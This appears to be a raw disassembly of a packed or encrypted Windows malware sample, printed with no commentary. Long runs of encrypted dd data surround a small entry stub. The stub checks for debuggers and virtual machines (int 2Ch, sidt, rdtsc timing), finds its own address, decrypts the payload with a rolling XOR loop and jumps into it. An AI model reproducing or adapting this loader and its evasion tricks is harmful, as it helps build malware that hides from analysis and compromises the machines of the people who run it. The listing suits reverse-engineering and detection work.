dd 0BE0A4F2Ch, 7AD1778Eh, 5537C645h, 5C0078FBh, 0CA87366Dh
dd 46F45110h, 0E5A0392Ch, 0C686DB90h, 0AECA2DA8h, 9AF19FAEh
dd 0C9AE665h, 259661B0h, 70446D80h, 0F4B3B267h, 38CCEDF2h
dd 0A62FFB39h, 80342EA5h, 40588141h, 8C7C67Ah, 4C03D706h
dd 0A1430E4Dh, 0B13C9718h, 98D71695h, 21A11A59h, 0A01F56AAh
dd 22398B61h, 2DAEA564h, 0AC2B3FE9h, 30EF2E6Dh, 0B4F774CEh
dd 0D8464082h, 0AA6A29E7h, 0E0652D9Dh, 0A9692BEDh, 0E85666A6h
dd 0B17833FDh, 0F07E42ADh, 0B97F37F4h, 0CC7848F7h, 0E6287BFEh
dd 3F7EBDh, 0D74331C1h, 0CD94531Ah, 0CD928A1Bh, 0DE94521Fh
dd 0C63D7FD2h, 0E69C621Ah, 0EFA0662Dh, 20B86A30h, 0F4B36329h
dd 0F6A8A63Eh, 4B0AA2Dh, 4B2733Dh, 40C78032h, 0F9CB89F5h
dd 0AC47E47h, 4D7FD844h, 5BAACEEh, 11CF8959h, 0D8B9157h
dd 148F9A59h, 1593AB52h, 26979A63h, 30E3A162h, 2FE5DE29h
dd 36E9E273h, 2CF5AB6Eh, 6CD4EA7Ch, 44F8AF84h, 2B9DDF4Bh
dd 3D09BB7Dh, 410DBB39h, 550ED73Dh, 5609024Dh, 4C15CB8Eh
dd 2FCB299Ch, 9114DB9Ch, 9427BB51h, 6CD7E99Eh, 9D20E7A2h
dd 0A733C75Dh, 652F22B4h, 95E8EBB9h, 0C31DD253h, 36E3378Dh
dd 0E84C7F61h, 49D17BA4h, 42EF2D80h, 0E763226Dh, 3D90E991h
dd 5340FDC7h, 9AE414A3h, 0A3B02CCDh, 0A0BF0E8Bh, 70AA0837h
dd 0BCFB3A51h, 0C0FF3E7Dh, 0C4034281h, 0C8074685h, 0CC0B4A89h
dd 0D00F4E8Dh, 0D4135291h, 0D8175695h, 0DC1B5A99h, 0E01F5E9Dh
dd 0E42362A1h, 0E82766A5h, 0EC2B6AA9h, 0F02F6EADh, 0F43372B1h
dd 0F83776B5h, 0FC3B7AB9h, 3F7EBDh, 44382C1h, 928D06C5h
dd 0B1CE6AAAh, 108FC773h, 0BEF815D1h, 1857560Eh, 309E51E8h
dd 2F77716Ah, 27696D98h, 4CAB31B5h, 38ADD50Dh, 0F2AAC75Fh
dd 0BF87A5F9h, 0FAA2CA37h, 0E2104305h, 0C97F7E36h, 4BC6C86h
dd 0CB8C3105h, 0A56DF2CBh, 5093106Eh, 768A5799h, 3C7FD655h
dd 449BDA19h, 609FDE3Dh, 86C767AEh, 0A100E665h, 0EFB7DE41h
dd 0E791F2EDh, 0AD417730h, 0EF7AF675h, 0F348FD12h, 0E3BFBE5Fh
dd 338151h, 0F04A06D4h, 15C16C4Dh, 50F132EAh, 940D9551h
dd 0CA021BC9h, 29EB0C5Ch, 7B379AABh, 0A41DA5BFh, 0DAE62AD9h
dd 9EEA2D54h, 2F46967Dh, 21EB170h, 0F1A1C3A0h, 0BF533AB9h
dd 4FC272C8h, 843CD406h, 568C8D85h, 0CC0B0AC2h, 380F4E8Dh
dd 0D41352CDh, 11A5DB20h, 0D1035AD9h, 481EDD94h, 0E42362B9h
dd 21B52328h, 0E12B6AE9h, 90CCF7B5h, 5F3332D3h, 86C4F551h
dd 3F3B3AF2h, 39D1034Ch, 99CC8201h, 887BF53h, 0C4B8DB1h
dd 5318C1CDh, 14D3255Ch, 80A996D5h, 9B5A18C6h, 590933E0h
dd 7A66A221h, 2873A068h, 2D722EF8h, 2AF2AEEDh, 0B882B201h
dd 3877B6F2h, 0C877C84h, 0BF7D06E5h, 0EE08C500h, 4B87863Eh
dd 54159ACFh, 448F478Dh, 828C522Ah, 0C3D7D989h, 5DE3650Ah
dd 0BF7E3F9Eh, 0DD244100h, 68F3B269h, 9704569Eh, 0EAA871F5h
dd 746A8140h, 0F91DF635h, 0AEEE78B1h, 806A834Ch, 7190241h
dd 8D3C067Fh, 0F7DBD4D4h, 93D9994Fh, 86BBE342h, 9BD69553h
dd 5C14C40Eh, 0E064CB5Dh, 28F29DD9h, 0A8E726E9h, 0E595DF68h
dd 183F2EADh, 33F2B0C6h, 0F1A1BB78h, 418A3AB9h, 0C03F7727h
dd 97274684h, 0FB098608h, 0D4C15964h, 198F6070h, 0F8D425B1h
dd 0F4405AB9h, 2783BDh, 490A1EF8h, 3B32DD22h, 269BC360h
dd 0B1D3E52Ah, 26A3C91Bh, 2F8CED32h, 26ABF556h, 1E11F53Ah
dd 26B32A72h, 6DD6FD42h, 26BBF91Dh, 75C8054Ah, 26C30125h
dd 53990D52h, 26CBF7FAh, 5B8B155Ah, 26D3FF02h, 5DF537E0h
dd 91C2A625h, 0AB6A295Ah, 4431314Bh, 0B37121DAh, 2279F9F4h
dd 516392FDh, 0C87E3DF3h, 4A71396h, 793FAC05h, 8C6DCC21h
dd 0B291D1F1h, 5AFD7D77h, 0CD913E6Dh, 9E1E5918h, 4A706525h
dd 0D18BBA26h, 0E8A6651Ah, 771EED23h, 0F5B1BEDDh, 74F31602h
dd 62DE61DFh, 0FC65D2A1h, 98340137h, 0D1AB13F1h, 40C6853Ah
dd 8CCB0A4Ah, 9D4360D1h, 0DED17222h, 9DC28C40h, 9CDB1A11h
dd 5FC1C9DDh, 0E0A0AF24h, 1FE7E699h, 6C1F5BEEh, 0B0EF2E6Dh
dd 64F626F1h, 3DEEE0D5h, 0BC3B6EAAh, 0C1FF3E80h, 0C4F9C690h
dd 9DBF4685h, 77F3B614h, 66CCD738h, 841312CAh, 4FC2007Dh
dd 9C4F8B1Eh, 0E01F5E9Dh, 7EE0EBA2h, 0DC2726DEh, 1DB0E1F4h
dd 0F02F2EE1h, 0AC3572B1h, 2E365A1Ch, 0E3F37F2Eh, 0AB6D0921h
dd 4433A27h, 0BBB312Bh, 83F56779h, 0D083BF52h, 145392D1h
dd 5E44EDDh, 32D09AE1h, 549023D4h, 2463A221h, 0AB1FAAE5h
dd 206BB2AEh, 9DF266F2h, 31EB2E9h, 6CA83BECh, 3C7EBA39h
dd 44F3BEFDh, 0EF2D2BB1h, 811D4B90h, 9B16CA49h, 18181638h
dd 8518490Dh, 5B979649h, 509BDA19h, 4406967Ch, 212C1820h
dd 68E71FC3h, 6CABA2D4h, 285AD294h, 74B318BAh, 0F6745EE0h
dd 9C6B7938h, 0FFBB4D25h, 6AFC6540h, 6EDC85FDh, 17769BF4h
dd 50033FE2h, 0BA58951h, 98D71917h, 4EF0F59h, 1FDE9CF4h
dd 4DCB4111h, 8EE6A561h, 9200A921h, 3B9ABF18h, 5278BD40h
dd 0E3F7F6AEh, 3843C341h, 0F430C374h, 0C40742C1h, 0DA7B4685h
dd 4ACB7341h, 0D8C7F955h, 7F174651h, 430F4B4Dh, 61120500h
dd 0E05F92CEh, 0E42362A9h, 0A5A7301Ah, 0EC6B9ED8h, 0A87062ADh
dd 3D5C8ADAh, 2C621BBFh, 60FB7AF9h, 2BE488C0h, 0AF4342F5h
dd 92F13775h, 0CC7FB94Eh, 0D0FF38CDh, 487E17DBh, 0FE019615h
dd 9358FC91h, 0E093CF62h, 2463B2E1h, 0D86E9AE5h, 0E4D15432h
dd 0DBD52A62h, 671D1AA1h, 0F50061B5h, 3CBBF37Bh, 74B043F4h
dd 44A3C241h, 51FCC605h, 0D195A2B9h, 50CF0236h, 0D54BB8BBh
dd 891C4DD5h, 1C9B9A4Dh, 549FDE1Dh, 8C676224h, 9CD08B2Fh
dd 1711EA69h, 0A935ABB6h, 0EB5EF271h, 38EB27BAh, 7CBBFA39h
dd 30C8F37Dh, 0AD480491h, 32C7C679h, 0C0FC8F40h, 904F0E8Dh
dd 9F481251h, 1DE1CE05h, 9C1B4E83h, 861C8907h, 1BFB5319h
dd 681B57EAh, 0ACEC2A69h, 60F1226Dh, 0DE983C9Ah, 0F8F7F6A9h
dd 61053D5Dh, 0C03F72A7h, 7C69EDE7h, 4DFEB606h, 0CC4B7EBAh
dd 0D00F508Dh, 1CC75406h, 0C41FB9Fh, 87815AD9h, 19C11B26h
dd 20DB62E1h, 932766C9h, 205CEFA0h, 0F0376EEDh, 0E0A772B1h
dd 2C68FBACh, 3B7AF9h, 0BB47EBDh, 894D3A71h, 887BAF0h
dd 8398F573h, 0D083BF52h, 145B92D1h, 0FE688BD5h, 263B1D91h
dd 0E093C982h, 570E88E1h, 3D5250A5h, 4494624Fh, 649A53F7h
dd 9833B231h, 631CC0F8h, 227B7A2Dh, 710435A8h, 44838235h
dd 2E87C615h, 404B4BC1h, 58534E10h, 88BE771Bh, 3FDD655h
dd 8B209028h, 0B9F9E51h, 98D46718h, 68A7E665h, 751FAA29h
dd 0F5B1BEDDh, 74F3265Ah, 0A93C6DDFh, 7CBBBA6Dh, 30BFFE5Dh
dd 88C5F7C7h, 6169349h, 0C0F4AFD3h, 1D580E8Dh, 94134BDBh
dd 1457C1BBh, 4CE20F5Eh, 1F2E9E5Dh, 29DACCA1h, 0A8275A96h
dd 0ACEBEA69h, 0E155E6D3h, 0DDA734E6h, 0D0A7E1DBh, 0F026BF83h
dd 20BF3EBDh, 4CB3EC84h, 0FC38CB7Ch, 4C0B4AC9h, 0D2844E8Dh
dd 799DD841h, 0D8578ABEh, 589B05FFh, 902653A2h, 6372E2A1h
dd 6D1E10E5h, 0EC6B9EDAh, 0F0306EADh, 0B4E37D26h, 2C60FBBFh
dd 67E57AF9h, 83F764CCh, 2DE88C81h, 0EE4746F9h, 0B64C3A74h
dd 448013C4h, 14539211h
dd 47CC96D7h, 508C1FD0h, 205F9E1Dh, 3ED8A2E5h, 0AD71E695h
dd 2CABDE14h, 649F5377h, 9434B231h, 1E2F9C05h, 3C2B657Ah
dd 2FC6E8h, 78AE470Bh, 0BF31C645h, 0CBFFB8Eh, 588FCE0Dh
dd 3AA3C711h, 627F59CDh, 1CCF04BEh, 104AC41Dh, 14AB4D22h
dd 922CF06Dh, 16ABAA5Dh, 0A4E07324h, 74B3F271h, 6D68F645h
dd 34211FAEh, 25C976C0h, 8403366Bh, 0C8FAB1ABh, 168833F3h
dd 7CFCE86h, 540743D6h, 0B8D71655h, 4DFA0F59h, 86FA89D4h
dd 0AEFB2B19h, 681B500Ah, 0AFCF6A69h, 0E419D377h, 5F5932B1h
dd 0F181F39Eh, 0FD853AB9h, 0F989E307h, 6F6942C1h, 4D091E35h
dd 0CC4B7EB2h, 194C537h, 0D71312C5h, 0E7185695h, 0DC1BE11Dh
dd 0C486169Dh, 71AE882Ch, 0E8679AD6h, 0EC2BDB2Ah, 312670ADh
dd 0F73372B1h, 0DFEF7B2Ah, 0A769011Dh, 3F7E75h, 0F9EE68C1h
dd 93FF6CCBh, 0C4F670AEh, 16DE7531h, 0FA13C57Ch, 49DC0D80h
dd 1C5B5A0Dh, 15609EDDh, 55E81921h, 28676619h, 2073AAE9h
dd 0BD279413h, 65F8295Dh, 38777629h, 4B7DBAF9h, 0A189FF92h
dd 8D076D67h, 0EDCE7Ah, 0F7F1CE2Dh, 583FE1F8h, 3AA13DBBh
dd 5AF4AECDh, 1CCF059Eh, 0CB4AC41Dh, 0E6C9224h, 9CD86B1Ch
dd 6CABEA69h, 90236E2Dh, 0F9DDF9E1h, 78F72A5Eh, 89D55AFAh
dd 80E306C6h, 0B8ECA743h, 0EC870685h, 908F8A4Ch, 3A30BEF8h
dd 0F4D2CAB7h, 0CC00BB5Fh, 47411A99h, 0D410A354h, 0A40322A1h
dd 7B5B2665h, 0E01CAF60h, 0B0EF2EADh, 0C1675271h, 0B8FA7D6Ch
dd 0C16F3A79h, 2BA9CE2Dh, 4FCACD74h, 8840C812h, 55CC7589h
dd 0A8BFCACEh, 83CD79Bh, 4FC156D5h, 9C4F8B1Eh, 0A01F5E9Dh
dd 0CA2F56A1h, 0F2EA365Dh, 0AC5F932Eh, 0D639D9ADh, 0FE13F169h
dd 0B86B9F5Ah, 73E660B9h, 0C073AF42h, 44385C1h, 7FBA7AC6h
dd 0CC7FBB4Eh, 104F8ECDh, 8B6086F1h, 1857999Ch, 0CC608ED9h
dd 934A486Dh, 0A9EEF16Ch, 28A7DF7Fh, 0F4F4F214h, 0A738E1E9h
dd 0F4A7E376h, 0B877B6F5h, 0C989AFF9h, 0B3E782h, 48B4C01h
dd 3B8A3F85h, 998F5701h, 509FF251h, 49B32D2h, 5E7A81A0h
dd 9CCC927Fh, 18058983h, 1C0B62B0h, 6AA7E625h, 4456D00Ah
dd 657873D8h, 0A56BD837h, 2862DCF5h, 148A4FCh, 80FF3279h
dd 0B8F48738h, 88C70685h, 92401A49h, 68C739A4h, 675E2B3Ch
dd 0C3CF417Dh, 3E68A529h, 0A1DFDE96h, 641CA4F6h, 33202765h
dd 35EF4EADh, 70FF1B2Ah, 3AB0BD71h, 0E3F7F6AEh, 7C34BCFEh
dd 0F184B57Dh, 840302B5h, 0BC074685h, 77E3C18Bh, 0A60F524Fh
dd 82D0D5E8h, 0D81716CEh, 0DDF4DEA8h, 0ED075E9Dh, 0AF2362A1h
dd 0AD7538EAh, 1A5D9DF5h, 0F07B3AF1h, 29BB07B0h, 7DC076F5h
dd 0FC7BB377h, 3C970910h, 0F742DAC4h, 3C8A11EDh, 8B4106B1h
dd 0B6E419CCh, 0EF53520Ah, 0A16358D8h, 0DC94DC5Eh, 28A1A1DDh
dd 5D29276Ah, 1BF2A625h, 0AC1E2911h, 986FAEEDh, 0B37228C6h
dd 711D7380h, 0A4D1BA39h, 0BF7E34C6h, 7D29578Ch, 1212C645h
dd 58D5CD11h, 0B9121C38h, 341BE116h, 6797D616h, 5C9CB49Dh
dd 0A54E11Dh, 67A3A25Ah, 28E0D8DAh, 0D4E79629h, 7051733Ch
dd 3A40F231h, 6A3C2139h, 7FBBBA72h, 6A7CE43h, 7C28137h
dd 4800AC02h, 97400A49h, 9FDBD588h, 94D42DD4h, 0D1E38155h
dd 5C14C0EEh, 0AD642D5Dh, 0A7E32262h, 682018EAh, 0E46C1069h
dd 35FE536Ch, 0B4F3326Dh, 0E3F9F600h, 244B6EBCh, 3FFEB4C6h
dd 0FDA9FFBAh, 4D1646C5h, 0CC0B4A6Dh, 9B9D390h, 591652D1h
dd 0D8578F07h, 0A3465A24h, 2DA16DA9h, 1F2362A1h, 6B366EECh
dd 0EC2B6A6Dh, 0F331AE30h, 793686F8h, 0F877AF27h, 0B13A4A0Bh
dd 7FB77Bh, 398B17C0h, 8DA18605h, 0C3D09989h, 794F8ECDh
dd 1453926Dh, 9D661511h, 1C5B9A6Dh, 2F74DC5Dh, 24632D66h
dd 29AD31E5h, 0FC9F6D14h, 0AF6406D5h, 0DA30EBF0h, 2D77762Eh
dd 0E600BD70h, 437F7E36h, 4BCB486h, 920C4F05h, 0D78B8A42h
dd 9214090Dh, 4693924Ah, 9E1C111Dh, 4E9B9A52h, 609F1B86h
dd 9B15D221h, 68A7050Dh, 0E8F97729h, 72DA2FB8h, 0AFC3B434h
dd 38F040BAh, 0FFC7EF39h, 0B1BE0E01h, 0A0E7C6D0h, 0CBE271A6h
dd 0C55D8FD8h, 1B2F0E8Dh, 540C0406h, 0E4D7E55h, 453C9958h
dd 20DF1E5Dh, 6B0E30D6h, 0E3F01871h, 2EFA32B0h, 2FEEADA9h
dd 667841BAh, 43F6B573h, 637C5EB5h, 0C0FF62AEh, 0C302C180h
dd 92888270h, 0CC0B2AADh, 10421C6Dh, 5B375E1Ch, 9850041Ah
dd 11D4E799h, 0E31F5EC1h, 0A45C5426h, 8DCC4CA5h, 0EFF195F7h
dd 0B25A82EFh, 6F79B8BDh, 0CAB8BD9Dh, 13B7AB9h, 893F7EBDh
dd 0E2A2FE07h, 0D6FC1388h, 0E24B4A01h, 45CB23CCh, 8CD69211h
dd 0D3DBA5D4h, 0A55B9AD9h, 0E0987062h, 0FA638CE1h, 5D1B3BE4h
dd 6CF0AA29h, 301332FCh, 749EB2F1h, 3BE18645h, 247CA449h
dd 807FBEFDh, 20184157h, 0CB87863Ah, 0D09A4901h, 508FD34Bh
dd 8DE9579Ah, 0E524D655h, 5CDB1373h, 990173AAh, 36F4E261h
dd 0E7F7E68Fh, 2CE06EBEh, 0EFA7712Dh, 79BF7640h, 7821F635h
dd 0B511AF38h, 15BEFE7Dh, 840337C1h, 97C67EC8h, 8CCF7FCDh
dd 7A54974Dh, 0C7D3D28Ah, 699A191Eh, 0A045EBA9h, 76949DAEh
dd 23E3E29Ah, 681C06FAh, 0BBABAF69h, 0B0F37FF1h, 3DBC6571h
dd 783024FAh, 8D4C0B79h, 0CFFF5DE5h, 59021281h, 0C8477B25h
dd 501A8A0Eh, 0D00F5217h, 0D85D71Ah, 90DA56D5h, 0DC1B4366h
dd 57572928h, 0A4579326h, 0E82766A5h, 0EF315FB9h, 0B03F5B32h
dd 0F705A5B1h, 6F28ED76h, 0F6C0039Ah, 0B83F3EF6h, 443A6FCh
dd 0B835150h, 0CC5B774Eh, 1321C1CDh, 8B440992h, 0EDC1FB6h
dd 5F5B5A12h, 26AA55ECh, 0B19805DAh, 0DF76BE38h, 7C6EBE2Ch
dd 58309936h, 6EF402F4h, 26E0AD54h, 0BF98AEF2h, 3280CA77h
dd 80CE4DE1h, 4B9B8890h, 1018DA4Bh, 0A9864D55h, 0D9CE1334h
dd 58D70F7Fh, 80EF65DCh, 0EF5F112Dh, 64A39AA3h, 0B7322925h
dd 2938F514h, 70EF267Bh, 0A7927D2Dh, 59F3A2FEh, 76F700ABh
dd 0A0EB00B4h, 781F3EEBh, 7CF54231h, 81CB4626h, 1B987135h
dd 6C184F52h, 0A34B169Ah, 6E1EED96h, 0D3642D5Dh, 2FE2A160h
dd 713E6368h, 30FAEDB7h, 2FEEAD93h, 893609AEh, 0D37B45C3h
dd 0F9FAB978h, 0F23201D4h, 4313C690h, 9844C584h, 0DB5A1EDCh
dd 4F0E5311h, 3CEE8590h, 5716D4C2h, 5A13DEA8h, 3252DD9Ch
dd 0E4237889h, 6796CEA5h, 0EC13E9A8h, 0CD2F6EADh, 23BDDF32h
dd 352076F5h, 0E03B7ABCh, 0B5CAB0BCh, 483BB33h, 0EE690F29h
dd 0E698C84Ah, 137513DCh, 0F2DE92D1h, 0FE359911h, 0E1ABD55Ah
dd 237523ECh, 0E75AA2E1h, 2887A6FBh, 35F0B9E9h, 0A66FAEF0h
dd 0BF758E34h, 0BC86D643h, 3C7BBCF5h, 0B900CAE0h, 4483C302h
dd 4A754C14h, 9973CA09h, 5F8E4D0Bh, 54953593h, 68E16115h
dd 14A7A41Ch, 60A0DE1Dh, 0CE914A72h, 0FDD76524h, 6CEB1E58h
dd 25DF0EDEh, 74F32661h, 0C1B5169Fh, 0E4CFF291h, 0FFBE6811h
dd 18D254C6h, 0B9A95907h, 4CFF3BDEh, 78B4794Dh, 94D31257h
dd 98DDFEAEh, 4331A59h, 1FDE8811h, 0D80CA7EBh, 2C6D26A5h
dd 6C1F5393h, 0D974B66Dh, 16F3F2A5h, 0E97CAD55h, 0C4FBFAADh
dd 0B5FF3E7Dh, 0EFC0C28Ah, 0C90706B9h, 51028FFDh, 0D04F82BEh
dd 0D5135294h, 95977109h, 0DC5B8EC2h, 60CF52A2h, 0A4578C5Eh
dd 8F9B6BA5h, 20562729h, 0E4346EEDh, 25B8E94Fh, 0F83736E9h
dd 0F0BB7AB9h, 29FCFEC6h, 64342F5h, 0ADCA0F3Ch, 0C8BC377h
dd 84DEF6CDh, 543B11D0h
dd 805615D2h, 1C5B9CFEh, 59D53B68h, 824BA221h, 376625E1h
dd 2C6DB56Dh, 222439EDh, 0BF73722Ah, 967AF253h, 0BB7819E1h
dd 0B501CDFCh, 0C583C202h, 48E7EA4Fh, 0CA162A09h, 4A92A45Fh
dd 640DD525h, 8CC85B0Ch, 5C9BDA59h, 6E14EE1Dh, 98DF97AEh
dd 0F532E665h, 6CEBFA96h, 29069220h, 74B3FB40h, 88B7ABC2h
dd 21AEFA79h, 82A2FEEEh, 9BAA634h, 88073A76h, 9CCB0A49h
dd 9077925Ch, 87D21251h, 9467E7Dh, 31669958h, 0A01F5703h
dd 28F274E6h, 0A8E726F7h, 0E55DDFF4h, 7A7A2EADh, 0D83DB381h
dd 18F736D5h, 0AF0304A4h, 0C3C8717Fh, 513E56F3h, 0C84756F2h
dd 0DC78D714h, 0A6814ECDh, 57378E1Ch, 9827433Ah, 839E5A99h
dd 0E01F5E0Ah, 0EC9DEDA1h, 0EB2F30A6h, 7722F1A0h, 0B068F432h
dd 25B8E9B1h, 0B83736E9h, 0F03B7AB9h, 357F5BFh, 346C8E33h
dd 41F53B4Eh, 0FFD68A09h, 877F8FF5h, 0D487C356h, 185756D5h
dd 935D8ED9h, 0D4476FF5h, 0FD6221DDh, 1B6AB2D0h, 38DDD511h
dd 0D462843Eh, 0E9008B50h, 38B7EA31h, 1ADA5EECh, 0CD11EF0Ch
dd 44841488h, 771C0005h, 418B8A3Dh, 4861B713h, 0DCA50667h
dd 0A47F5565h, 369A59F8h, 63ABA8A8h, 0E99AF26Bh, 68E71A56h
dd 7CABEA29h, 65B5AFBAh, 22407B44h, 7BB7B66Eh, 3CCBE7BEh
dd 6D66813Dh, 84C30241h, 7EFC970h, 4C0408FEh, 6256974Dh
dd 23D31251h, 1DCE369Bh, 9C1B4E8Ah, 20DF1E5Dh, 0C3529D5h
dd 27E69F8Ch, 5A78B5C3h, 13EFEEA6h, 0DC3EBB74h, 43070000h
dd 7C3430FEh, 0C849777Dh, 8E8C45F4h, 0D849478Dh, 0CC632D0Ch
dd 989D318h, 107B52D1h, 0D91756B9h, 0DD7462DBh, 75A92EE0h
dd 0E46396D0h, 1C58EB9Ch, 0EC2B6AE9h, 0F6A37EADh, 4A0FFB4h
dd 0F8ED76F5h, 306CFFB0h, 3F7EFDh, 18B882C3h, 8D3ECCC3h
dd 0C8BBEFAh, 10538ECDh, 0C9DD9846h, 1897CA05h, 508C1FD0h
dd 0E05F9E1Dh, 2FD8A2E1h, 6A69AD6Fh, 8E41AC93h, 0BA7819E4h
dd 0DE35E4F8h, 0AF590CF7h, 0C7DF0C2Ch, 420EA21Fh, 1A404559h
dd 4887863Eh, 0C7134E18h, 58E4D0Ch, 54D30B83h, 8D5B6B14h
dd 119ADA59h, 60DF178Bh, 99DF7720h, 0F534E665h, 6CEB2383h
dd 0A91183BAh, 4604F271h, 2DB6F69Fh, 7CFB338Fh, 0B577933Ch
dd 39C20281h, 88073F9Bh, 0C1079F48h, 455C0E8Dh, 94134A9Fh
dd 0D129CB54h, 1B311A99h, 6014D2F2h, 7A88A561h, 0A8E7E69Eh
dd 0ACEB922Ch, 9A4C2E6Dh, 7DE0B372h, 90F7F6A8h, 41BC4969h
dd 0C03F53FDh, 47C68206h, 0D7F7C54Dh, 0E18BCF4Ah, 0DD24ECDh
dd 0D43D52A1h, 597D720Ah, 0C8277E15h, 0C032530Eh, 6322A689h
dd 502C5BA4h, 6B2AE527h, 6F2EC095h, 736153B0h, 2C8D6EE2h
dd 0FC6032CBh, 689F7EBDh, 83420166h, 0CCD2BF3Ah, 0C1D8BAEDh
dd 108FC61Bh, 0FA5B625Ch, 1A5DD056h, 4B1BF4Ch, 205E9EDDh
dd 24CDE66Ch, 0BD667637h, 2CABDFE1h, 0B177F270h, 73B28E2Fh
dd 0BB7AAB51h, 6763BEBFh, 0A87E3DF8h, 0C3824180h, 3C3F0966h
dd 0B78BCA09h, 50BE86BEh, 647BD211h, 9A97D615h, 8C53DA39h
dd 0C89FDE1Dh, 64A3E224h, 0F5A70AE7h, 0B9B70E7Dh, 70A7715Bh
dd 0DC130BADh, 78B7F635h, 0ACDFCEC4h, 1D9899Ah, 44F7152Eh
dd 0ED006E45h, 0CE2C8948h, 97D00E51h, 99D51557h, 0DBE4CCFBh
dd 0F1DA3B2Dh, 0E1DFEF71h, 71h, 12C8h dup(0)
assume ds:_data
; =============== S U B R O U T I N E =======================================
public start
start proc near
cld
call sub_100E42E
start endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_100E406 proc near ; CODE XREF: sub_100E42E+4Fp
push ebx
mov ecx, 0DA5h
mov ebx, edx
loc_100E40E: ; CODE XREF: sub_100E406+13j
xor [eax], dx
lea eax, [eax+2]
xchg dl, dh
lea edx, [ebx+edx]
loop loc_100E40E
pop ebx
retn
sub_100E406 endp
; ---------------------------------------------------------------------------
db 0A1h, 0FCh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_100E42E
loc_100E41F: ; CODE XREF: sub_100E42E+3Aj
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_100E42E
; =============== S U B R O U T I N E =======================================
sub_100E421 proc near ; CODE XREF: sub_100E42E+8j
; sub_100E42E+19j
push ebp
mov eax, 8000h
xor ecx, ecx
jmp short loc_100E455
sub_100E421 endp
; =============== S U B R O U T I N E =======================================
sub_100E42B proc near ; CODE XREF: sub_100E42E+1Cp
; sub_100E42E+22p
rdtsc
retn
sub_100E42B endp
; =============== S U B R O U T I N E =======================================
sub_100E42E proc near ; CODE XREF: start+1p
var_6 = byte ptr -6
; FUNCTION CHUNK AT 0100E41F SIZE 00000002 BYTES
test eax, eax
jnz short loc_100E43A
int 2Ch ; Internal routine for MSDOS (IRET)
test eax, eax
jns short sub_100E421
jmp short loc_100E449
; ---------------------------------------------------------------------------
loc_100E43A: ; CODE XREF: sub_100E42E+2j
push eax
sidt fword ptr [esp+var_6+4]
pop eax
mov eax, [eax+6]
shl eax, 10h
jns short sub_100E421
loc_100E449: ; CODE XREF: sub_100E42E+Aj
push ebp
call sub_100E42B
xchg eax, ecx
call sub_100E42B
loc_100E455: ; CODE XREF: sub_100E421+8j
sub eax, ecx
mov ebp, [esp+4]
sub dword ptr [esp+4], 7006h
sub eax, 100h
jnb short loc_100E41F
sub ebp, 301006h
lea eax, [ebp+301082h]
mov dx, [eax-65h]
call sub_100E406
dec edx
cld
push ss
retn 921Bh
sub_100E42E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 0C7DDDFBAh, 541C2627h, 7423A4Dh, 105D941Ch, 4553B2A1h
dd 77B2DBBEh, 9196B967h, 0C369F07h, 56413162h, 316497E5h
dd 6379E5CEh, 99E26107h, 7949D4FAh, 643667CFh, 0FF832426h
dd 6915D7Bh, 0DC29C31h, 0A0A6B7EBh, 4FBD56E7h, 6DA46416h
dd 882E8063h, 51A96C29h, 0B71AA98Ah, 0E751421h, 0DA60470h
dd 15955DCCh, 9CA95B8h, 0D77335DAh, 75F7B78h, 77CE7873h
dd 0DE32C0F6h, 1EF51525h, 6E1B2711h, 8900A45Dh, 26CE21C2h
dd 0AB0789C7h, 3410D16h, 9ACB626Dh, 4BBAF7A0h, 112EC7B7h
dd 0FA68DFEBh, 0F31E7D7Dh, 0FB3814D7h, 0E1A6474Ah, 6522C3ADh
dd 2C11F3DFh, 89D21482h, 82532F2Bh, 0C55DD9B0h, 1FAEE966h
dd 0A93811h, 8BC60022h, 6CE4430Fh, 0CBFC651Ah, 0FE1E7E4Ah
dd 2496C5ADh, 1EF34B5h, 7CF86746h, 4287939h, 3A33A2A5h
dd 2CD7D808h, 4631CDC9h, 54195ADAh, 1BDF0805h, 0AB8A6C8h
dd 3CD5685Dh, 0C8C256D2h, 6D11F285h, 90371D29h, 0B36BAF84h
dd 0F57A5FBFh, 0EEA6E0C3h, 0A1A16C8Fh, 0E8D20101h, 4360D122h
dd 650D6CBCh, 68BF4D8Dh, 0C88BA4E3h, 35E65541h, 0F0626757h
dd 2D49804Ch, 7CBF1E7Ah, 0C5C944B7h, 0D4FA6979h, 0A813F932h
dd 1A359493h, 3AD387A3h, 27FBCFFBh, 660678D0h, 3418A07h
dd 2C4998B4h, 0EF6BBD7h, 232110DFh, 5ACE029Fh, 1FAAE390h
dd 38047C8Bh, 62E1F5C3h, 7B3304F3h, 9E611C6Dh, 7CC874D1h
dd 0C871D3A4h, 869A916Ah, 87AD3C23h, 62CF8961h, 3D10C34Ch
dd 0B712E4E0h, 1322E87Eh, 98C1241Ch, 0B75EBDD1h, 0B269A457h
dd 7499C8DFh, 54B39952h, 46D53432h, 0CA1A81CDh, 2106B6Bh
dd 946CC09h, 0F34AC0F1h, 41E9492Ch, 3F131AE1h, 1424B354h
dd 19C32117h, 9CBE2B45h, 51155C68h, 1B9AF9F5h, 90389539h
dd 0CE8F355Bh, 3479B8C4h, 593D19F9h, 0C55EE50Ah, 88491624h
dd 4EEA4975h, 0DF856B66h, 7D236C80h, 4E8D221Eh, 0B82CF3FFh
dd 79E3C8A6h, 4616FAC6h, 91098F2Ah, 935AFF01h, 0CC44FFB6h
dd 82817CDCh, 7B00DCFh, 89E4112Bh, 4DEB4A76h, 0E08ABE67h
dd 3A30E81h, 0E4C41333h, 3CEEC1CCh, 56CF7563h, 0DFA54676h
dd 6DC599A5h, 0A8D73733h, 0CD75D6EAh, 4782F7E5h, 784E103Ch
dd 20CB22A8h, 0C2EC7B6Ch, 0D1A26E59h, 7FD87982h, 7422B20h
dd 3162C1BFh, 682CDEDEh, 0F7ED03F9h, 0BFB61F18h, 8C583805h
dd 0CF46FE5Fh, 6D148C8Fh, 0B4E9601h, 25C4AEABh, 45DD60CCh
dd 9275F005h, 1BAD0885h, 9FC61509h, 8C485802h, 5AFE9F5Dh
dd 2319F2FBh, 7E3C9B98h, 33DA38D1h, 0FD886B59h, 0A09E7442h
dd 0D545127Ah, 2954DF52h, 7844EAAh, 8FDC13EBh, 0E31E286h
dd 10D2B191h, 0BE787AC1h, 588F615Fh, 56000B0h, 1596FA64h
dd 35DB773Dh, 781ED7D6h, 0DA1232F9h, 6818F720h, 27AA5204h
